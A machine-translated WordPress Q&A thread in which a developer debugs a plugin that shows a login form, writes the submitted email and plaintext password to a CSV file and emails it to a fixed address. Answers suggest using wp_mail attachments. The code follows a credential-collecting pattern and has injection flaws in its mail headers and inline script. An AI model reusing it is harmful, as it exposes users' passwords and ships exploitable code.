表单在提交时尝试下载文件

时间:2017-02-03 作者:J Robz

所以我正在开发这个插件,以获取表单的输入,并将其放入。CSV文档,然后发送。通过电子邮件发送CSV文档。所有这些都很好。但是,按submit时,会下载一个名为“download”的rouge文件。当这个文件在我的文本编辑器中打开时,它似乎只是页面的编译代码。这很奇怪。以下是我的插件的源代码:

表单到csv。php

<?php
/*
Plugin Name: Form To CSV
Plugin URI: N/A
Description: A plugin to put login credentials in CSV and send via email, built originally for Relo Solutions Group.
Version: 1
Author: Joseph Roberts
Author URI: http://josephrobertsdesigns.com
License: GPL2
*/

// Make sure we don\'t expose any info if called directly
if ( !function_exists( \'add_action\' ) ) {
    echo \'Hi there!  I\\\'m just a plugin, not much I can do when called directly.\';
    exit;
}

define( \'FORM_TO_CSV__VERSION\', \'1\' );
define( \'FORM_TO_CSV__MINIMUM_WP_VERSION\', \'4.7.2\' );
define( \'FORM_TO_CSV__PLUGIN_DIR\', plugin_dir_path( __FILE__ ) );
define( \'FORM_TO_CSV__DELETE_LIMIT\', 100000 );

register_activation_hook( __FILE__, array( \'Form_To_CSV\', \'plugin_activation\' ) );
register_deactivation_hook( __FILE__, array( \'Form_To_CSV\', \'plugin_deactivation\' ) );

require_once( FORM_TO_CSV__PLUGIN_DIR . \'form-to-csv_run.php\' );
以及form-to-csv\\u运行。php文件,我认为这就是问题所在

<?php
function formToCsv_shortcode()  {
?>
    <style>
    /* ---------- LOGIN-FORM ---------- */
    #login-form {
      width: 300px;
      background-color:#ececec;
      margin:100px auto;
    }

    #login-form h3 {
      background-color: #282830;
      border-radius: 5px 5px 0 0;
      color: #fff;
      font-size: 14px;
      padding: 20px;
      text-align: center;
      text-transform: uppercase;
    }

    #login-form fieldset {
      background: inherit;
      border-radius: 0 0 5px 5px;
      padding: 20px;
      position: relative;
    }

    #login-form fieldset:before {
      background-color: inherit;
      content: "";
      height: 8px;
      left: 50%;
      margin: -4px 0 0 -4px;
      position: absolute;
      top: 0;
      -webkit-transform: rotate(45deg);
         -moz-transform: rotate(45deg);
          -ms-transform: rotate(45deg);
           -o-transform: rotate(45deg);
              transform: rotate(45deg);
      width: 8px;
    }

    #login-form input {
      font-size: 14px;
    }

    #login-form input[type="email"],
    #login-form input[type="password"] {
      border: 1px solid #dcdcdc;
      padding: 12px 10px;
      width: 100%;
    }

    #login-form input[type="email"] {
      border-radius: 3px 3px 0 0;
    }

    #login-form input[type="password"] {
      border-top: none;
      border-radius: 0px 0px 3px 3px;
    }

    #login-form input[type="submit"] {
      background: #1dabb8;
      border-radius: 3px;
      color: #fff;
      float: right;
      font-weight: bold;
      margin-top: 20px;
      padding: 12px 20px;
    }

    #login-form input[type="submit"]:hover {
      background: #198d98;
    }

    #login-form footer {
      font-size: 12px;
      margin-top: 16px;
    }

    .info {
      background: #e5e5e5;
      border-radius: 50%;
      display: inline-block;
      height: 20px;
      line-height: 20px;
      margin: 0 10px 0 0;
      text-align: center;
      width: 20px;
    }
    </style>
    <?php
    if(isset($_POST[\'submit\'])){

        function debug_to_console( $data ) {

            if ( is_array( $data ) )
                $output = "<script>console.log( \'Debug Objects: " . implode( \',\', $data) . "\' );</script>";
            else
                $output = "<script>console.log( \'Debug Objects: " . $data . "\' );</script>";

            echo $output;
        }

        //collect form data
        $email = $_POST[\'email\'];
        $password = $_POST[\'password\'];

        //check name is set
        if($email ==\'\'){
            $error[] = \'Email is required\';
            debug_to_console($error);
        }elseif($password == \'\'){
            $error[] = \'Password is required\';
            debug_to_console($error);
        }

        //check for a valid email address
        if(!filter_var($email, FILTER_VALIDATE_EMAIL)){
            $error[] = \'Please enter a valid email address\';
            debug_to_console($error);
        }

        //if no errors carry on
        if(!isset($error)){

            # set the file name and create CSV file
            $FileName = "formdata-".date("d-m-y-h:i:s").".csv";
            header(\'Content-Type: application/csv\'); 

            // open the file "demosaved.csv" for writing
            $file = fopen(FORM_TO_CSV__PLUGIN_DIR . \'CSVs/\' . $FileName, \'w\');

            // save the column headers
            fputcsv($file, array(\'Email\', \'Password\'));

            // Sample data. This can be fetched from mysql too
            $data = array(
                array($email, $password)
            );

            // save each row of the data
            foreach ($data as $row)
            {
                fputcsv($file, $row);
            }

            // Close the file
            fclose($file);
            debug_to_console("CSV FILE WAS CREATED.");

            // Mail the file
            $mailto = "[email protected]";
            $subject = "Login Details";

            $content = chunk_split(base64_encode(file_get_contents($file)));

            $uid = md5(uniqid(time()));
            $name = basename($file);
            $header = "From: <" . $email . ">\\r\\n";
            $header .= "Reply-To: " . $email . "\\r\\n";

            $header .= "MIME-Version: 1.0\\r\\n";
            $header .= "Content-Type: multipart/mixed; boundary=\\"" . $uid . "\\"\\r\\n\\r\\n";
            $header .= "This is a multi-part message in MIME format.\\r\\n";
            $header .= "--" . $uid . "\\r\\n";

            // You add html "Content-type: text/html; charset=utf-8\\n" or for Text "Content-type:text/plain; charset=iso-8859-1\\r\\n" by I.khan
            $header .= "Content-type:text/html; charset=utf-8\\n";
            $header .= "Content-Transfer-Encoding: 7bit\\r\\n\\r\\n";

            $header .= "--" . $uid . "\\r\\n";
            $header .= "Content-Type: application/octet-stream; name=\\"" . $FileName . "\\"\\r\\n"; // use different content types here
            $header .= "Content-Transfer-Encoding: base64\\r\\n";
            $header .= "Content-Disposition: attachment; filename=\\"" . $FileName . "\\"\\r\\n\\r\\n"; // For Attachment
            $header .= $content . "\\r\\n\\r\\n";
            $header .= "--" . $uid . "--";
            if (mail($mailto, $subject, "", $header)) {
                echo "<script>alert(\'Success\');</script>"; // or use booleans here
            } else {
                echo "<script>alert(\'Failed\');</script>";
            }

        }
    }
    ?> 
    <div class="container">
      <div id="login-form">
        <h3>Login</h3>
        <fieldset>
          <form action=\'\' method="post">
            <input name="email" type="email" required value="Email" onBlur="if(this.value==\'\')this.value=\'Email\'" onFocus="if(this.value==\'Email\')this.value=\'\' "> <!-- JS because of IE support; better: placeholder="Email" -->
            <input name="password" type="password" required value="Password" onBlur="if(this.value==\'\')this.value=\'Password\'" onFocus="if(this.value==\'Password\')this.value=\'\' "> <!-- JS because of IE support; better: placeholder="Password" -->
            <input name="submit" type="submit" value="Login">
            <footer class="clearfix">
              <p><span class="info">?</span><a href="#">Forgot Password</a></p>
            </footer>
          </form>
        </fieldset>
      </div> <!-- end login-form -->
    </div>
<?php 
}
add_shortcode(\'formToCsv\', \'formToCsv_shortcode\');
此外,它的功能屏幕截图:

the rouge download

而该文件在文本编辑器中显示的内容,我百分之百确定它就是im所在的页面:

the rouge download's source code

像往常一样,这可能只是某个地方的一个小错误,但我一直在努力解决这个问题。因此,任何帮助都将不胜感激。

更新时间:

我尝试删除“标题”行,并将“邮件”行更改为:

wp_mail($mailto, $subject, $header, \'\', $file);
而且它不会随机下载文件!它仍然发送电子邮件,但是现在csv文件没有附加。所以还是很不幸地被难住了。

3 个回复
最合适的回答,由SO网友:David Lee 整理而成

要将文件附加到电子邮件,您需要按如下方式指定文件的路径:

<?php
$attachments = array( WP_CONTENT_DIR . \'/uploads/file_to_attach.zip\' );
$headers = \'From: Test Name <[email protected]>\' . "\\r\\n";
wp_mail( \'[email protected]\', \'subject\', \'message\', $headers, $attachments );
?>
无论是字符串还是数组(对于多个文件),都可以在此处看到接受的参数wp_email. 不在标题中,我可以在这里看到:

$header .= "Content-Disposition: attachment; filename=\\"" . $FileName . "\\"\\r\\n\\r\\n"; // For Attachment

SO网友:mr__culpepper

表单操作设置为空字符串。我认为这可能是问题的一部分。不是百分之百肯定,但希望这能有所帮助!

SO网友:Steve

只是一件小事,用wp_mail(); 而不是mail();

看看接下来会发生什么。

也不认为你需要header(\'Content-Type: application/csv\');.

将返回页面的页眉设置为CSV文件。CSV文件不能通过网页打开,而是下载文件。

该文件是否下载了CSV文件?

相关推荐

如何在WordPress unctions.php中将短代码值传递到Head

我正在尝试为wordpress帖子上的图表创建一个快捷代码。到目前为止,我已经使用了短代码,我可以看到短代码值正在被传递,但我需要知道的是如何将这些值传递到Google图表,以便正确工作。以下是我目前掌握的代码:function chart_shortcode($atts) { $a = shortcode_atts( array( \'value1\' => \'\', \'value2\' => \'\', \'value